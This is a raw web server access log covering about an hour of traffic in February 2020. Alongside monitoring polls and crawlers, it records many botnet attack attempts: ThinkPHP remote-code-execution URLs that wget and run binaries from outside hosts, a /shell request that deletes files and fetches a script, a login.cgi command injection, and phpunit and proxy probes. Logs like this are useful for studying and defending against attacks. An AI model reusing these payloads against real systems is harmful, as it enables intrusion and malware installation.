212.91.246.72 - - [04/Feb/2020:21:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.84.233.59 - - [04/Feb/2020:21:25:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.227.179 - - [04/Feb/2020:21:25:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.255.175 - - [04/Feb/2020:21:27:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.2.174.98 - - [04/Feb/2020:21:28:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.88.112.232 - - [04/Feb/2020:21:28:57 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
219.140.117.186 - - [04/Feb/2020:21:28:59 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
1.202.113.63 - - [04/Feb/2020:21:29:00 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
180.95.231.24 - - [04/Feb/2020:21:29:01 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.34.176.173 - - [04/Feb/2020:21:29:03 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.105.60 - - [04/Feb/2020:21:29:03 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
220.250.62.207 - - [04/Feb/2020:21:29:05 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
113.58.232.105 - - [04/Feb/2020:21:29:05 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
60.186.105.68 - - [04/Feb/2020:21:29:06 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [04/Feb/2020:21:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.41.12 - - [04/Feb/2020:21:32:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.51 - - [04/Feb/2020:21:34:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.86.226 - - [04/Feb/2020:21:35:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.252.107 - - [04/Feb/2020:21:36:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.163.160 - - [04/Feb/2020:21:36:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [04/Feb/2020:21:40:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:21:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.35 - - [04/Feb/2020:21:43:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:21:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.46.230 - - [04/Feb/2020:21:46:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.64 - - [04/Feb/2020:21:50:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [04/Feb/2020:21:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:21:52:31 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:21:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.148.18 - - [04/Feb/2020:21:53:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.97.20.33 - - [04/Feb/2020:21:53:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:21:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.188.215 - - [04/Feb/2020:21:54:22 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
5.101.0.209 - - [04/Feb/2020:21:54:36 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:21:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.177.153.12 - - [04/Feb/2020:21:55:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.87 - - [04/Feb/2020:21:57:01 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.89 - - [04/Feb/2020:21:57:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [04/Feb/2020:21:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:21:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.121.248 - - [04/Feb/2020:21:59:28 +0100] "GET / HTTP/1.1" 200 1229 "https://med-dopomoga.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.118.121.248 - - [04/Feb/2020:21:59:28 +0100] "GET / HTTP/1.1" 200 1229 "https://med-dopomoga.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.118.121.248 - - [04/Feb/2020:21:59:29 +0100] "GET / HTTP/1.1" 200 1229 "https://med-dopomoga.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.91.246.72 - - [04/Feb/2020:21:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.136.231.54 - - [04/Feb/2020:22:00:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:22:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.7.81.17 - - [04/Feb/2020:22:05:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:22:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.187.164.63 - - [04/Feb/2020:22:05:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:22:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.67.70.88 - - [04/Feb/2020:22:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:22:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:22:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:22:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:22:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:22:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:22:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:22:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:22:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:22:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [04/Feb/2020:22:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [04/Feb/2020:22:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [04/Feb/2020:22:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.92 - - [04/Feb/2020:22:11:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:22:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.18.27.255 - - [04/Feb/2020:22:13:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:22:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [04/Feb/2020:22:14:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [04/Feb/2020:22:14:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [04/Feb/2020:22:14:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [04/Feb/2020:22:14:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [04/Feb/2020:22:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [04/Feb/2020:22:14:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [04/Feb/2020:22:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.155.136 - - [04/Feb/2020:22:15:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:22:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.133.29.214 - - [04/Feb/2020:22:17:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:22:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.108.65 - - [04/Feb/2020:22:18:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:22:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.13.98 - - [04/Feb/2020:22:20:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:22:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
174.81.167.164 - - [04/Feb/2020:22:22:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.61.108.144 - - [04/Feb/2020:22:23:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
182.61.108.144 - - [04/Feb/2020:22:23:12 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
182.61.108.144 - - [04/Feb/2020:22:23:12 +0100] "POST /Admin52f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [04/Feb/2020:22:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [04/Feb/2020:22:23:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:22:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
